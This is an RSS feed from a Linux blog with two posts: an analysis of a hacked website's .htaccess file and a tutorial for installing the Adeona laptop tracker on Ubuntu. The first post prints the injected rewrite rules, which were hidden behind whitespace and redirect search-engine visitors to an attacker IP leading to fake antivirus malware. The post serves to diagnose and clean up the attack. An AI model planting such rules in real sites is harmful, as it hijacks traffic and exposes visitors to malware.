<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>64 Bit Jungle &#187; Security</title>
	<atom:link href="http://www.64bitjungle.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.64bitjungle.com</link>
	<description>Linux and Programming Tips and Tutorials, Technology and Rants from the Jungle</description>
	<lastBuildDate>Thu, 05 Jan 2012 08:42:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Gnarly Malware &#8211; Hijacks Website .htaccess and Steals Search Engine Traffic</title>
		<link>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/</link>
		<comments>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 04:07:41 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=294</guid>
		<description><![CDATA[A friend in the US called me a few days ago, asking me to take a look at his website, calypsoislandtours.com, since his site traffic had dropped dramatically, for no obvious reason. Upon further investigation, he discovered that only search engine traffic was affected, which, as with many if not most websites, happened to be [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>A friend in the US called me a few days ago, asking me to take a look at his website, <a href="http://www.calypsoislandtours.com" target="_blank">calypsoislandtours.com</a>, since his <a href="http://www.calypsoislandtours.com/blog/index.php/travel/travel-blog-website-hijacked-malware/" target="_blank">site traffic had dropped dramatically</a>, for no obvious reason. Upon further investigation, he discovered that only search engine traffic was affected, which, as with many if not most websites, happened to be a major proportion of his inbound traffic &#8211; not particularly good for his business.</p>
<p>I searched <a href="http://www.google.com" target="_blank">Google</a> for his site, and sure enough, clicking on one of the results redirected my browser to a rather dodgy website that clearly wasn&#8217;t calypsoislandtours.com. So, I investigated further, and found that somehow, the .htaccess file on his server had been altered, to contain the following lines:</p>
<p><code>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br />
RewriteRule .* http://89.28.13.201/in.html?s=xi [R,L]</code></p>
<p>Which was also preceded by a couple of dozen lines of white space, so that to most users checking .htaccess, the code would be &#8220;hidden&#8221; below the viewable window of an average text editor (I used the Linux command more, via ssh to check the file).</p>
<p>Basically, this nasty little piece of code utilises mod_rewrite to tell Apache to look for any traffic coming to the server from Google, AOL, MSN, Altavista, Ask or Yahoo (all the big search engines), and then to redirect that traffic to a server with the IP 89.28.13.201 (in a second .htaccess file, the IP was 89.28.13.205).</p>
<p>Using a combination of traceroute and Lynx web browser, I tracked the redirects. The web server located at 89.28.13.201 installs a cookie (visited=1) and also contains a script to redirect to a string of sites  &#8211; first to <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://worldgreenpeace.cn" target="_blank">worldgreenpeace.cn (link to Google Safe Browsing Info Page)</a>, which installs a cookie: soft=1. This site then redirects the browser to the final target destination of <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://bestantivirusfastscan.com/" target="_blank">bestantivirusfastscan.com (link to Google Safe Browsing Info page)</a> which installs a cookie: av_inst=880147 (arbitrary ID number &#8211; although it seems that 880147 people may have been redirected already). This final site contains Malware, which I presume does something nasty, although I felt no inclination to investigate further!</p>
<p>Thankfully, it was easy to cure &#8211; I simply deleted the above lines from .htaccess, and the website was instantly be back to normal, receiving the search engine traffic it should.</p>
<p>So, if you&#8217;re noticing a massive drop in search engine traffic to your site for no apparent reason, check the .htaccess first!</p>
<div class="shr-publisher-294"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Track and Trace your stolen or missing Laptop with Adeona, on 32 and 64 Bit Ubuntu</title>
		<link>http://www.64bitjungle.com/ubuntu/track-and-trace-your-stolen-or-missing-laptop-with-adeona-on-32-and-64-bit-ubuntu/</link>
		<comments>http://www.64bitjungle.com/ubuntu/track-and-trace-your-stolen-or-missing-laptop-with-adeona-on-32-and-64-bit-ubuntu/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 08:35:24 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[adeona]]></category>
		<category><![CDATA[HowTo]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=193</guid>
		<description><![CDATA[Adeona is an Open Source system for tracking stolen and lost laptops/notebooks, developed by the University of Washington Computer Science and Engineering department. It&#8217;s also one of the few systems which doesn&#8217;t require a silly BIOS hack, or access to proprietary services, and is available for Linux, Windozzze and Mac OSX. Since 64bitjungle is a [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p style="text-align: center;"><a href="http://adeona.cs.washington.edu" target="_blank"><img class="size-full wp-image-194 aligncenter" title="Adeona logo - Track a stolen laptop" src="http://www.64bitjungle.com/wp-content/uploads/2008/11/adeonalogo.jpg" alt="Adeona logo - Track a stolen laptop" width="352" height="151" /></a></p>
<p style="text-align: left;"><a href="http://adeona.cs.washington.edu" target="_blank">Adeona</a> is an Open Source system for tracking stolen and lost laptops/notebooks, developed by the <a href="http://www.cs.washington.edu/" target="_blank">University of Washington Computer Science and Engineering department</a>. It&#8217;s also one of the few systems which doesn&#8217;t require a silly BIOS hack, or access to proprietary services, and is available for Linux, Windozzze and Mac OSX. Since 64bitjungle is a site dealing with Linux, I&#8217;ll obviously focus on the Linux version &#8211; although, the Windozzze and Mac versions are available as binary installers, so should be pretty easy to set up.</p>
<p style="text-align: left;">The only prerequisites for Adeona are OpenSSL, traceroute, libssl-dev, and cron which, with the exception of traceroute and libssl-dev, are installed by default on most Linus distributions. To install traceroute on Ubuntu, simly open a terminal (Applications -&gt; Accessories -&gt; Terminal) and run:</p>
<p style="text-align: left;"><code>sudo apt-get install traceroute libssl-dev</code></p>
<p style="text-align: left;">Setting up Adeona itself involves downloading, compiling and installing a small client application. The current version, 0.2.1a, can be downloaded from the <a href="http://adeona.cs.washington.edu/sourcedownload.html" target="_blank">Adeona download page</a> as a 3.5 Mb tarball. extract the tarball:</p>
<p style="text-align: left;"><code>cd ~/Desktop<br />
tar -zxvf adeona-0.2.1.tar.gz<br />
cd adeona</code></p>
<p style="text-align: left;"><strong>32 Bit Installation</strong></p>
<p style="text-align: left;">Installing on a 32 bit system is <span style="text-decoration: line-through;">a snap</span> not <em>quite</em> as easy as installing from a .deb, and involves compiling and configuring the source code:</p>
<p style="text-align: left;"><code>./configure<br />
sudo make install</code></p>
<p style="text-align: left;"><strong>64 Bit Installation</strong></p>
<p style="text-align: left;">64 Bit systems entail much more work. Download and install the getlibs package:</p>
<p style="text-align: left;"><code>wget http://www.boundlesssupremacy.com/Cappy/getlibs/getlibs-all.deb<br />
sudo dpkg -i getlibs-all.deb</code></p>
<p style="text-align: left;">Then, from the adeoma directory, run:</p>
<p style="text-align: left;"><code>getlibs -l libcrypto.a</code></p>
<p style="text-align: left;">This will detect, download and install any 32 bit libraries required to build Adeona. In many cases, this will be libssl-dev. If you don&#8217;t have them already, the ia32-libs package also needs installing:</p>
<p style="text-align: left;"><code>sudo apt-get install ia32-libs</code></p>
<p style="text-align: left;">The Makefile may also requires a small change, so first make a backup, then open it up in a text editor:</p>
<p style="text-align: left;"><code>cp Makefile Makefile.bak<br />
gksu gedit Makefile</code></p>
<p style="text-align: left;">Find the CFLAGS variable (the line &#8220;CFLAGS := -Wall&#8221; &#8211; line 46 in the current release) and add a new line after it, with &#8220;CFLAGS += -m32&#8243;, so that the lines are now:</p>
<p style="text-align: left;"><code>CFLAGS := -Wall<br />
CFLAGS += -m32</code></p>
<p style="text-align: left;">Save the file, and close the text editor. Now, configure, and install:</p>
<p style="text-align: left;"><code>./configure<br />
sudo make install</code></p>
<p style="text-align: left;">This should hopefully work for most users. However, I was receiving the following error when compiling:</p>
<p style="text-align: left;"><code>/usr/include/gnu/stubs.h:7:27: error: gnu/stubs-32.h: No such file or directory</code></p>
<p style="text-align: left;">Installing libc6-dev-i386 solved the problem:</p>
<p style="text-align: left;"><code>sudo apt-get install libc6-dev-i386</code></p>
<p style="text-align: left;">If you had to install libc6-dev-i386 following the above error, remember to run:</p>
<p style="text-align: left;"><code>make clean</code></p>
<p style="text-align: left;">before running</p>
<p style="text-align: left;"><code>sudo make install</code></p>
<p style="text-align: left;"><strong>Post Installation Steps (32 and 64 Bit)</strong></p>
<p style="text-align: left;">Adeona initialises immediately after the code has compiled and installed, and requires a little configuration. First, it asks for a password, and to verify the password. Finally, a line needs to be added to crontab &#8211; this line is output once the installation and initialisation is complete. It&#8217;s dependent on where you installed Adeona, but the default is:</p>
<p style="text-align: left;"><code>@reboot /usr/local/adeona/adeona-client.exe -s /usr/local/adeona/adeona-clientstate.cst -r /usr/local/adeona/resources/ -l /usr/local/adeona/logs/ &amp;</code></p>
<p style="text-align: left;">So, highlight the line output by Adeona, right click and &#8220;Copy&#8221; , then open up crontab for editing:</p>
<p style="text-align: left;"><code>sudo crontab -e</code></p>
<p style="text-align: left;">and choose &#8220;nano&#8221; (it&#8217;s much easier than vi(m) if you&#8217;ve never used a text editor from the terminal before). Move the cursor to the end of the last line, and hit return to add a new line, then right click and &#8220;Paste&#8221; the line output from Adeona. Push Ctrl+X to exit, and choose &#8220;Y&#8221; to save the changes. If you&#8217;re using vi, then you know what to do&#8230; That&#8217;s it.</p>
<p style="text-align: left;">During the installation process, a file called &#8220;adeona-retrievecredentials.ost&#8221; was created &#8211; move it to a better location, and/or make a note/remember that location.</p>
<p style="text-align: left;">Reboot.</p>
<p style="text-align: left;"><strong>Data Retrieval</strong></p>
<p style="text-align: left;">Simple data retrieval can be executed by the following, in a Terminal:</p>
<p style="text-align: left;"><code>/usr/local/adeona</code><code>/adeona-retrieve.exe -r </code><code>/usr/local/adeona</code><code>/resources/ -l /path/to/results -s /path/to/your/adeona-retrievecredentials.ost -n 1</code></p>
<p style="text-align: left;">Change /path/to/results to some thing such as /home/&lt;username&gt;/adeona-results.txt (where &lt;username&gt;  is your username), and /path/to/your/adeona-retrievecredentials.ost to the location the file adeona-retrievecredentials.ost was saved (told you to remember it!).</p>
<p style="text-align: left;">This is fine for testing, but since you&#8217;re using the machine that Adeona is installed on, and thus the one you want to track, to locate it&#8230; Not very useful if it gets stolen. Simply copy the adeona-retrievecredentials.ost file to a USB drive, Memory stick, or whatever &#8211; this file can then be used from any computer with the Adeona Retrieval Tools installed (also easy to install) to retrieve it&#8217;s last known location.</p>
<p style="text-align: left;">More information can be found at <a href="http://adeona.cs.washington.edu/documents.html" target="_blank">http://adeona.cs.washington.edu/documents.html</a></p>
<p style="text-align: left;"><strong>Uninstalling Aedona</strong></p>
<p style="text-align: left;">If you need to uninstall Aedona, simply run the following form a Terminal:</p>
<p style="text-align: left;"><code>sudo pkill adeona-client.exe<br />
sudo rm -rf /usr/local/adeona</code></p>
<p style="text-align: left;">Then run:</p>
<p style="text-align: left;"><code>sudo crontab -e</code></p>
<p style="text-align: left;">and delete the line previously added to crontab.</p>
<p style="text-align: left;"><strong>References</strong></p>
<ol style="text-align: left;">
<li><a href="http://adeona.cs.washington.edu/linuxinstallguide.html" target="_blank">Adeona Linux Installation Notes</a></li>
<li><a href="http://ubuntuforums.org/showthread.php?t=924863" target="_blank">Solving 64 Bit Dependency Issues</a></li>
<li><a href="http://groups.google.com/group/adeona-users" target="_blank">Adeona Google User Group</a></li>
<li><span><a href="http://adeona.cs.washington.edu/papers/adeona-usenixsecurity08.pdf" target="_blank">Privacy-Preserving Location Tracking of Lost or Stolen Devices: Cryptographic Techniques and Replacing Trusted Third Parties with DHTs</a> (PDF)<br />
</span></li>
</ol>
<div class="shr-publisher-193"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/ubuntu/track-and-trace-your-stolen-or-missing-laptop-with-adeona-on-32-and-64-bit-ubuntu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

